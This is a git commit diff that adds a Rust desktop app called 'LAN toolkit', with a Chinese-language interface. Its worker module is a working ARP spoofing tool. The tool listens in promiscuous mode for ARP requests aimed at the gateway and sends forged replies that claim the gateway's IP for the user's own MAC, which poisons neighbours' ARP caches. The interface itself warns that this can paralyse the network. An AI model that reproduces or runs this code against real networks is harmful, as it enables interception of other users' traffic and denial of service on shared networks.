提交
This commit is contained in:
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
/target
|
||||||
10
.idea/.gitignore
generated
vendored
Normal file
10
.idea/.gitignore
generated
vendored
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
# 默认忽略的文件
|
||||||
|
/shelf/
|
||||||
|
/workspace.xml
|
||||||
|
# 基于编辑器的 HTTP 客户端请求
|
||||||
|
/httpRequests/
|
||||||
|
# 已忽略包含查询文件的默认文件夹
|
||||||
|
/queries/
|
||||||
|
# Datasource local storage ignored files
|
||||||
|
/dataSources/
|
||||||
|
/dataSources.local.xml
|
||||||
11
.idea/lan_toolkit.iml
generated
Normal file
11
.idea/lan_toolkit.iml
generated
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<module type="EMPTY_MODULE" version="4">
|
||||||
|
<component name="NewModuleRootManager">
|
||||||
|
<content url="file://$MODULE_DIR$">
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/target" />
|
||||||
|
</content>
|
||||||
|
<orderEntry type="inheritedJdk" />
|
||||||
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
</component>
|
||||||
|
</module>
|
||||||
8
.idea/modules.xml
generated
Normal file
8
.idea/modules.xml
generated
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectModuleManager">
|
||||||
|
<modules>
|
||||||
|
<module fileurl="file://$PROJECT_DIR$/.idea/lan_toolkit.iml" filepath="$PROJECT_DIR$/.idea/lan_toolkit.iml" />
|
||||||
|
</modules>
|
||||||
|
</component>
|
||||||
|
</project>
|
||||||
6
.idea/vcs.xml
generated
Normal file
6
.idea/vcs.xml
generated
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="VcsDirectoryMappings">
|
||||||
|
<mapping directory="" vcs="Git" />
|
||||||
|
</component>
|
||||||
|
</project>
|
||||||
4385
Cargo.lock
generated
Normal file
4385
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
10
Cargo.toml
Normal file
10
Cargo.toml
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
[package]
|
||||||
|
name = "lan_toolkit"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
iced = "0.14.0"
|
||||||
|
netdev = "0.46.3"
|
||||||
|
pnet = "0.35.0"
|
||||||
|
pnet_packet = "0.35.0"
|
||||||
8
build.rs
Normal file
8
build.rs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
fn main() {
|
||||||
|
let target = std::env::var("TARGET").unwrap();
|
||||||
|
if target.contains("pc-windows") {
|
||||||
|
let npcap_path = std::env::var("NPCAP_PATH").unwrap();
|
||||||
|
println!("cargo:rustc-link-search=native={}", npcap_path);
|
||||||
|
println!("cargo:rustc-link-lib=Packet");
|
||||||
|
}
|
||||||
|
}
|
||||||
315
src/application.rs
Normal file
315
src/application.rs
Normal file
@@ -0,0 +1,315 @@
|
|||||||
|
use crate::config::Config;
|
||||||
|
use crate::worker::WorkerState;
|
||||||
|
use iced::{Color, Element};
|
||||||
|
use iced::widget::{button, column, container, pick_list, row, text};
|
||||||
|
use pnet::packet::{MutablePacket, Packet};
|
||||||
|
use pnet::util::MacAddr;
|
||||||
|
use pnet_packet::arp::{ArpHardwareTypes, ArpOperations, MutableArpPacket};
|
||||||
|
use pnet_packet::ethernet::{EtherTypes, MutableEthernetPacket};
|
||||||
|
use std::fmt::Display;
|
||||||
|
use std::net::{IpAddr, Ipv4Addr};
|
||||||
|
|
||||||
|
pub const WINDOW_WIDTH: u32 = 750;
|
||||||
|
pub const WINDOW_HEIGHT: u32 = 500;
|
||||||
|
|
||||||
|
pub struct LANToolkit {
|
||||||
|
pub state: WorkerState,
|
||||||
|
pub cfg: Config,
|
||||||
|
pub ifaces: Vec<String>,
|
||||||
|
pub selected_iface: Option<String>,
|
||||||
|
pub selected_iface_idx: Option<usize>,
|
||||||
|
pub raw_packet_available: bool,
|
||||||
|
pub test_message: TestState,
|
||||||
|
pub spoof_state: SpoofState,
|
||||||
|
pub spoof_btn_text: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub enum Messages {
|
||||||
|
RefreshIfaces,
|
||||||
|
IfaceSelected(Option<usize>),
|
||||||
|
TestIface,
|
||||||
|
StartSpoof(bool),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub enum TestState {
|
||||||
|
NotTested,
|
||||||
|
Unavailable,
|
||||||
|
Available,
|
||||||
|
InvalidSelection,
|
||||||
|
ListUpdated,
|
||||||
|
NotSelected,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub enum SpoofState {
|
||||||
|
Unchecked,
|
||||||
|
NotReady,
|
||||||
|
Ready,
|
||||||
|
Online,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for SpoofState {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
SpoofState::Unchecked => write!(f, "点击启动按钮表示您愿意承担相应责任"),
|
||||||
|
SpoofState::NotReady => write!(f, "网卡未检测或不可用"),
|
||||||
|
SpoofState::Ready => write!(f, "准备就绪"),
|
||||||
|
SpoofState::Online => write!(f, "运行中"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SpoofState {
|
||||||
|
fn get_color(self) -> Color {
|
||||||
|
match self {
|
||||||
|
SpoofState::Unchecked => Color::from_rgb(1.0f32, 0.0f32, 0.0f32),
|
||||||
|
SpoofState::NotReady => Color::from_rgb(0.0f32, 1.0f32, 1.0f32),
|
||||||
|
SpoofState::Ready => Color::from_rgb(0.0f32, 0.0f32, 1.0f32),
|
||||||
|
SpoofState::Online => Color::from_rgb(0.0f32, 1.0f32, 0.0f32),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_btn_text(self) -> String {
|
||||||
|
match self {
|
||||||
|
SpoofState::Unchecked => "确认".to_string(),
|
||||||
|
SpoofState::NotReady => "启动".to_string(),
|
||||||
|
SpoofState::Ready => "启动".to_string(),
|
||||||
|
SpoofState::Online => "停止".to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for TestState {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
TestState::NotTested => write!(f, "尚未测试"),
|
||||||
|
TestState::Unavailable => write!(f, "不可用"),
|
||||||
|
TestState::Available => write!(f, "可用"),
|
||||||
|
TestState::InvalidSelection => write!(f, "无效选项"),
|
||||||
|
TestState::ListUpdated => write!(f, "网卡列表已更新,需要刷新"),
|
||||||
|
TestState::NotSelected => write!(f, "请选择接口"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl LANToolkit {
|
||||||
|
pub fn boot(state: WorkerState, config: Config) -> impl Fn() -> Self {
|
||||||
|
move || {
|
||||||
|
LANToolkit {
|
||||||
|
state: state.clone(),
|
||||||
|
cfg: config.clone(),
|
||||||
|
ifaces: vec![],
|
||||||
|
selected_iface: None,
|
||||||
|
selected_iface_idx: None,
|
||||||
|
raw_packet_available: false,
|
||||||
|
test_message: TestState::NotSelected,
|
||||||
|
spoof_state: SpoofState::Unchecked,
|
||||||
|
spoof_btn_text: SpoofState::Unchecked.get_btn_text(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn view(&self) -> Element<'_, Messages> {
|
||||||
|
container(
|
||||||
|
column![
|
||||||
|
// 第一行
|
||||||
|
row![
|
||||||
|
text("可用的网络接口: ").width(130),
|
||||||
|
pick_list(
|
||||||
|
self.ifaces.clone(),
|
||||||
|
self.selected_iface.clone(),
|
||||||
|
|string: String| {
|
||||||
|
Messages::IfaceSelected(
|
||||||
|
self.ifaces.iter().position(|x| x == string.as_str())
|
||||||
|
)
|
||||||
|
}
|
||||||
|
).placeholder("Select a network interface")
|
||||||
|
.width(300),
|
||||||
|
button("重新加载").on_press(Messages::RefreshIfaces),
|
||||||
|
].padding(10),
|
||||||
|
// 第二行
|
||||||
|
row![
|
||||||
|
text("接口状态: ").width(130),
|
||||||
|
text(self.test_message.to_string()).width(300),
|
||||||
|
button("重新检测").on_press(Messages::TestIface),
|
||||||
|
].padding(10),
|
||||||
|
// 第三行
|
||||||
|
row![
|
||||||
|
button(self.spoof_btn_text.as_str())
|
||||||
|
.width(515)
|
||||||
|
.on_press(Messages::StartSpoof(false)),
|
||||||
|
].padding(10),
|
||||||
|
column![
|
||||||
|
text("警告: 在未经过配置的设备上使用该程序可能导致连接的网络瘫痪")
|
||||||
|
.color(Color::from_rgb(1.0f32,0.0f32,0.0f32)),
|
||||||
|
text("使用者需自行承担责任"),
|
||||||
|
].padding(10),
|
||||||
|
row![
|
||||||
|
text("当前状态: "),
|
||||||
|
text(self.spoof_state.to_string())
|
||||||
|
.width(300)
|
||||||
|
.color(self.spoof_state.get_color()),
|
||||||
|
].padding(10)
|
||||||
|
].padding(20)
|
||||||
|
).width(WINDOW_WIDTH)
|
||||||
|
.height(WINDOW_HEIGHT)
|
||||||
|
.into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn test_iface(self: &LANToolkit) -> TestState {
|
||||||
|
// Test if the interface is available to send raw packets
|
||||||
|
// First We get the selected interface
|
||||||
|
let ifaces = pnet::datalink::interfaces();
|
||||||
|
if self.selected_iface_idx.is_none() {
|
||||||
|
return TestState::NotSelected;
|
||||||
|
}
|
||||||
|
if self.selected_iface_idx.unwrap() >= ifaces.len() {
|
||||||
|
return TestState::InvalidSelection;
|
||||||
|
}
|
||||||
|
let iface = ifaces[self.selected_iface_idx.unwrap()].clone();
|
||||||
|
if iface.name != self.selected_iface.clone().unwrap() {
|
||||||
|
return TestState::ListUpdated;
|
||||||
|
}
|
||||||
|
if iface.mac.is_none() {
|
||||||
|
println!("Test failed because selected interface has no mac address");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
if iface.ips.len() == 0 {
|
||||||
|
println!("Test failed because selected interface has no IP address");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Then we get its v4 address
|
||||||
|
let v4addr = iface.ips.iter().map(|x| -> Option<Ipv4Addr> {
|
||||||
|
if x.is_ipv4() {
|
||||||
|
let IpAddr::V4(v4) = x.ip() else { return None };
|
||||||
|
return Some(v4);
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}).filter(|x| {
|
||||||
|
if x.is_some() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}).nth(0);
|
||||||
|
if v4addr.is_none() {
|
||||||
|
println!("Test failed because selected interface has no IPv4 address");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
let v4addr = v4addr.unwrap().unwrap();
|
||||||
|
|
||||||
|
// Now try to send an arp packet
|
||||||
|
let channel = pnet::datalink::channel(&iface, pnet::datalink::Config::default());
|
||||||
|
if channel.is_err() {
|
||||||
|
println!("Channel creation failed: {}", channel.err().unwrap());
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
let channel = channel.unwrap();
|
||||||
|
let pnet::datalink::Channel::Ethernet(mut tx, _rx) = channel else {
|
||||||
|
// This should not happen
|
||||||
|
return TestState::Unavailable;
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut buf = [0u8; 42];
|
||||||
|
let epacket = MutableEthernetPacket::new(&mut buf);
|
||||||
|
if epacket.is_none() {
|
||||||
|
println!("Ethernet packet couldn't be constructed");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
let mut epacket = epacket.unwrap();
|
||||||
|
epacket.set_destination(MacAddr::broadcast());
|
||||||
|
epacket.set_source(iface.mac.unwrap());
|
||||||
|
epacket.set_ethertype(EtherTypes::Arp);
|
||||||
|
|
||||||
|
let packet = MutableArpPacket::new(epacket.payload_mut());
|
||||||
|
if packet.is_none() {
|
||||||
|
println!("Test failed because error occurred while constructing ArpPacket");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
let mut packet = packet.unwrap();
|
||||||
|
packet.set_hardware_type(ArpHardwareTypes::Ethernet);
|
||||||
|
packet.set_hw_addr_len(6);
|
||||||
|
packet.set_proto_addr_len(4);
|
||||||
|
packet.set_protocol_type(EtherTypes::Ipv4);
|
||||||
|
packet.set_operation(ArpOperations::Request);
|
||||||
|
|
||||||
|
packet.set_sender_hw_addr(iface.mac.unwrap());
|
||||||
|
packet.set_sender_proto_addr(v4addr);
|
||||||
|
|
||||||
|
packet.set_target_hw_addr(MacAddr::zero());
|
||||||
|
packet.set_target_proto_addr(Ipv4Addr::new(1,2,3,4));
|
||||||
|
|
||||||
|
// After construction we send it
|
||||||
|
let res = tx.send_to(epacket.packet(), None);
|
||||||
|
if res.is_none() {
|
||||||
|
// That means theres no sufficient capacity in the buffer
|
||||||
|
println!("Test failed because send_to() returns None");
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
if let Err(e) = res.unwrap() {
|
||||||
|
println!("Send arp packet failed because {}", e);
|
||||||
|
return TestState::Unavailable;
|
||||||
|
}
|
||||||
|
TestState::Available
|
||||||
|
}
|
||||||
|
|
||||||
|
fn reset(&mut self) {
|
||||||
|
self.selected_iface = None;
|
||||||
|
self.selected_iface_idx = None;
|
||||||
|
self.raw_packet_available = false;
|
||||||
|
if !matches!(self.spoof_state, SpoofState::Unchecked) {
|
||||||
|
self.spoof_state = SpoofState::NotReady;
|
||||||
|
}
|
||||||
|
self.state.tx.send(Messages::StartSpoof(false)).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn update(&mut self, message: Messages) {
|
||||||
|
let mut messages = message;
|
||||||
|
if let Messages::IfaceSelected(Some(index)) = messages {
|
||||||
|
self.reset();
|
||||||
|
self.selected_iface_idx = Some(index);
|
||||||
|
self.selected_iface = self.ifaces.get(index).cloned();
|
||||||
|
self.test_message = TestState::NotTested;
|
||||||
|
}
|
||||||
|
if matches!(messages, Messages::RefreshIfaces) {
|
||||||
|
// Refresh Interfaces
|
||||||
|
let ifaces = pnet::datalink::interfaces();
|
||||||
|
self.ifaces = ifaces.iter().map(|x| x.name.clone()).collect();
|
||||||
|
self.reset();
|
||||||
|
self.test_message = TestState::NotSelected;
|
||||||
|
}
|
||||||
|
if matches!(messages, Messages::TestIface) {
|
||||||
|
self.test_message = self.test_iface();
|
||||||
|
if matches!(self.test_message, TestState::Available) {
|
||||||
|
self.raw_packet_available = true;
|
||||||
|
if matches!(self.spoof_state, SpoofState::NotReady) {
|
||||||
|
self.spoof_state = SpoofState::Ready;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Messages::StartSpoof(_) = messages {
|
||||||
|
match self.spoof_state {
|
||||||
|
SpoofState::Unchecked => {
|
||||||
|
self.spoof_state = if self.raw_packet_available {
|
||||||
|
SpoofState::Ready
|
||||||
|
}else {
|
||||||
|
SpoofState::NotReady
|
||||||
|
}
|
||||||
|
},
|
||||||
|
SpoofState::NotReady => {},
|
||||||
|
SpoofState::Ready => {
|
||||||
|
messages = Messages::StartSpoof(true);
|
||||||
|
self.spoof_state = SpoofState::Online
|
||||||
|
},
|
||||||
|
SpoofState::Online => {
|
||||||
|
messages = Messages::StartSpoof(false);
|
||||||
|
self.spoof_state = SpoofState::Ready
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.spoof_btn_text = self.spoof_state.get_btn_text();
|
||||||
|
self.state.tx.send(messages).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
12
src/config.rs
Normal file
12
src/config.rs
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
#[derive(Clone)]
|
||||||
|
pub struct Config {
|
||||||
|
pub window_name: String
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for Config {
|
||||||
|
fn default() -> Self {
|
||||||
|
Config {
|
||||||
|
window_name: "局域网工具箱".to_string()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
35
src/main.rs
Normal file
35
src/main.rs
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
use std::sync::mpsc::channel;
|
||||||
|
use crate::application::{LANToolkit, Messages, WINDOW_HEIGHT, WINDOW_WIDTH};
|
||||||
|
use iced::Theme::TokyoNight;
|
||||||
|
use iced::Size;
|
||||||
|
use crate::config::Config;
|
||||||
|
use crate::worker::WorkerState;
|
||||||
|
|
||||||
|
mod application;
|
||||||
|
mod worker;
|
||||||
|
mod config;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let (tx,rx) = channel::<Messages>();
|
||||||
|
let state = WorkerState {
|
||||||
|
tx: tx.clone()
|
||||||
|
};
|
||||||
|
let cfg = Config::default();
|
||||||
|
let res = std::thread::Builder::new()
|
||||||
|
.name("Worker Thread".to_string())
|
||||||
|
.spawn(worker::worker_main(state.clone(), rx));
|
||||||
|
if res.is_err() {
|
||||||
|
println!("Failed to start worker thread: {}", res.err().unwrap());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 我发现这个库真的很tm喜欢把函数当参数传来传去:(
|
||||||
|
let res = iced::application(LANToolkit::boot(state.clone(), cfg.clone()), LANToolkit::update, LANToolkit::view)
|
||||||
|
.title(|state: &LANToolkit| state.cfg.window_name.clone())
|
||||||
|
.window_size(Size::new(WINDOW_WIDTH as f32,WINDOW_HEIGHT as f32))
|
||||||
|
.theme(TokyoNight)
|
||||||
|
.run();
|
||||||
|
if res.is_err() {
|
||||||
|
println!("Failed to start main window: {}", res.err().unwrap());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
253
src/worker.rs
Normal file
253
src/worker.rs
Normal file
@@ -0,0 +1,253 @@
|
|||||||
|
use crate::application::Messages;
|
||||||
|
use netdev::get_interfaces;
|
||||||
|
use pnet::datalink::Channel::Ethernet;
|
||||||
|
use pnet::datalink::{Channel, NetworkInterface, channel, Config, DataLinkSender};
|
||||||
|
use pnet::packet::{MutablePacket, Packet};
|
||||||
|
use pnet::util::MacAddr;
|
||||||
|
use pnet_packet::arp::{ArpHardwareTypes, ArpOperations, ArpPacket, MutableArpPacket};
|
||||||
|
use pnet_packet::ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket};
|
||||||
|
use std::net::Ipv4Addr;
|
||||||
|
use std::sync::mpsc::{Receiver, Sender, TryRecvError};
|
||||||
|
use std::thread::sleep;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct WorkerState {
|
||||||
|
pub(crate) tx: Sender<Messages>,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn try_get_channel(iface: Option<NetworkInterface>) -> Option<Channel> {
|
||||||
|
if let Some(iface) = iface {
|
||||||
|
let mut config = Config::default();
|
||||||
|
config.read_timeout = Some(Duration::from_millis(10));
|
||||||
|
config.promiscuous = true;
|
||||||
|
if let Ok(channel) = channel(&iface, config) {
|
||||||
|
Some(channel)
|
||||||
|
}else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
#[derive(Copy, Clone)]
|
||||||
|
struct GateWay {
|
||||||
|
ip: Ipv4Addr,
|
||||||
|
mac: MacAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 感谢ChatGPT提供的代码
|
||||||
|
fn get_gateway(mac_addr: MacAddr) -> Option<GateWay> {
|
||||||
|
let interfaces = get_interfaces();
|
||||||
|
|
||||||
|
let interface = interfaces
|
||||||
|
.into_iter()
|
||||||
|
.find(|iface| {
|
||||||
|
if let Some(addr) = iface.mac_addr {
|
||||||
|
let mac_addr = netdev::MacAddr(
|
||||||
|
mac_addr.0, mac_addr.1, mac_addr.2, mac_addr.3,
|
||||||
|
mac_addr.4, mac_addr.5
|
||||||
|
);
|
||||||
|
return addr == mac_addr;
|
||||||
|
}
|
||||||
|
false
|
||||||
|
})?;
|
||||||
|
|
||||||
|
let gateway = interface.gateway?;
|
||||||
|
|
||||||
|
// Gateway 里可能有 IPv4 / IPv6
|
||||||
|
let addr = gateway.ipv4.iter().nth(0)?.clone();
|
||||||
|
let mac_addr = gateway.mac_addr;
|
||||||
|
let mac_addr = MacAddr(mac_addr.0, mac_addr.1, mac_addr.2, mac_addr.3, mac_addr.4, mac_addr.5);
|
||||||
|
// println!("Got gateway: {:?}", gateway);
|
||||||
|
Some(GateWay { ip: addr, mac: mac_addr })
|
||||||
|
}
|
||||||
|
|
||||||
|
fn construct_arp(
|
||||||
|
buffer: &mut [u8; 42],
|
||||||
|
iface: NetworkInterface,
|
||||||
|
gateway: GateWay,
|
||||||
|
target_mac: MacAddr,
|
||||||
|
target_ip: Ipv4Addr) -> bool {
|
||||||
|
let epacket = MutableEthernetPacket::new(buffer);
|
||||||
|
if epacket.is_none() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let mut epacket = epacket.unwrap();
|
||||||
|
epacket.set_source(iface.mac.unwrap());
|
||||||
|
epacket.set_destination(target_mac);
|
||||||
|
epacket.set_ethertype(EtherTypes::Arp);
|
||||||
|
|
||||||
|
let packet = MutableArpPacket::new(epacket.payload_mut());
|
||||||
|
if packet.is_none() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let mut packet = packet.unwrap();
|
||||||
|
packet.set_operation(ArpOperations::Reply);
|
||||||
|
packet.set_hw_addr_len(6);
|
||||||
|
packet.set_proto_addr_len(4);
|
||||||
|
|
||||||
|
packet.set_target_proto_addr(target_ip);
|
||||||
|
packet.set_target_hw_addr(target_mac);
|
||||||
|
packet.set_sender_proto_addr(gateway.ip);
|
||||||
|
packet.set_sender_hw_addr(iface.mac.unwrap());
|
||||||
|
|
||||||
|
packet.set_hardware_type(ArpHardwareTypes::Ethernet);
|
||||||
|
packet.set_protocol_type(EtherTypes::Ipv4);
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
|
struct EthernetFrame {
|
||||||
|
data: Vec<u8>
|
||||||
|
}
|
||||||
|
|
||||||
|
fn _worker_update(iface:Option<NetworkInterface>, ptx: Sender<EthernetFrame>) -> impl FnOnce() {
|
||||||
|
move || {
|
||||||
|
if iface.is_none() {
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
let iface = iface.unwrap();
|
||||||
|
let mut channel:Option<Channel> = try_get_channel(Some(iface));
|
||||||
|
if channel.is_none() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let Ethernet(_, rx) = channel.as_mut().unwrap() else {
|
||||||
|
// Also, this should not happen
|
||||||
|
return ;
|
||||||
|
};
|
||||||
|
loop {
|
||||||
|
while let Ok(data) = rx.next() {
|
||||||
|
let res = ptx.send(EthernetFrame {
|
||||||
|
data: Vec::from(data),
|
||||||
|
});
|
||||||
|
if res.is_err() {
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn worker_update(
|
||||||
|
iface: Option<NetworkInterface>,
|
||||||
|
tx: Option<Box<dyn DataLinkSender>>,
|
||||||
|
prx: Option<Receiver<EthernetFrame>>,)
|
||||||
|
-> (Option<Receiver<EthernetFrame>>, Option<Box<dyn DataLinkSender>>) {
|
||||||
|
if prx.is_none() {
|
||||||
|
return (prx, tx);
|
||||||
|
}
|
||||||
|
let prx = prx.unwrap();
|
||||||
|
if iface.is_none() {
|
||||||
|
return (Some(prx), tx);
|
||||||
|
}
|
||||||
|
let iface = iface.unwrap();
|
||||||
|
let gateway = get_gateway(iface.mac.unwrap());
|
||||||
|
if gateway.is_none() {
|
||||||
|
println!("Cannot determine gateway");
|
||||||
|
return (Some(prx), tx);
|
||||||
|
}
|
||||||
|
let gateway = gateway.unwrap();
|
||||||
|
if tx.is_none() {
|
||||||
|
return (Some(prx), tx);
|
||||||
|
}
|
||||||
|
let mut tx = tx.unwrap();
|
||||||
|
|
||||||
|
while let Ok(frame) = prx.try_recv() {
|
||||||
|
let packet = EthernetPacket::new(frame.data.as_slice());
|
||||||
|
if packet.is_none() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let packet = packet.unwrap();
|
||||||
|
if packet.get_ethertype() != EtherTypes::Arp {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let packet = ArpPacket::new(packet.payload());
|
||||||
|
if packet.is_none() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let packet = packet.unwrap();
|
||||||
|
if packet.get_target_proto_addr() == gateway.ip
|
||||||
|
&& packet.get_operation() == ArpOperations::Request {
|
||||||
|
let mut buffer = [0u8; 42];
|
||||||
|
if !construct_arp(
|
||||||
|
&mut buffer,
|
||||||
|
iface.clone(),
|
||||||
|
gateway,
|
||||||
|
packet.get_sender_hw_addr(),
|
||||||
|
packet.get_sender_proto_addr()
|
||||||
|
) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
tx.send_to(&buffer, None);
|
||||||
|
println!("Arp packet sent");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 有借有还,再借不难
|
||||||
|
(Some(prx), Some(tx))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
|
||||||
|
move || {
|
||||||
|
// initialize
|
||||||
|
let mut running = false;
|
||||||
|
let mut iface = pnet::datalink::interfaces().iter().nth(0).cloned();
|
||||||
|
|
||||||
|
let mut prx: Option<Receiver<EthernetFrame>> = None;
|
||||||
|
|
||||||
|
let mut tx: Option<Box<dyn DataLinkSender>> = None;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let msg = rx.try_recv();
|
||||||
|
if msg.is_ok() {
|
||||||
|
// Process message
|
||||||
|
match msg.unwrap() {
|
||||||
|
Messages::RefreshIfaces => {
|
||||||
|
|
||||||
|
},
|
||||||
|
Messages::IfaceSelected(index) => {
|
||||||
|
if index.is_some() {
|
||||||
|
iface = pnet::datalink::interfaces().iter().nth(index.unwrap()).cloned();
|
||||||
|
let channel = try_get_channel(iface.clone());
|
||||||
|
if channel.is_some() {
|
||||||
|
let ch = channel.unwrap();
|
||||||
|
if let Ethernet(tx_, _) = ch {
|
||||||
|
tx = Some(tx_);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("IfaceSelected(index={:?})", index);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Messages::TestIface => {
|
||||||
|
|
||||||
|
},
|
||||||
|
Messages::StartSpoof(status) => {
|
||||||
|
running = status;
|
||||||
|
if status {
|
||||||
|
let (tx, rx) = std::sync::mpsc::channel::<EthernetFrame>();
|
||||||
|
prx = Some(rx);
|
||||||
|
std::thread::spawn(_worker_update(iface.clone(), tx));
|
||||||
|
}else {
|
||||||
|
prx = None;
|
||||||
|
}
|
||||||
|
println!("StartSpoof(running={:?})", running);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
if msg.err().unwrap() == TryRecvError::Disconnected {
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// And some extra things to do
|
||||||
|
if running {
|
||||||
|
(prx, tx) = worker_update(iface.clone(), tx, prx);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delay to avoid burning cpu
|
||||||
|
// 20 tick per second
|
||||||
|
sleep(Duration::from_millis(50));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user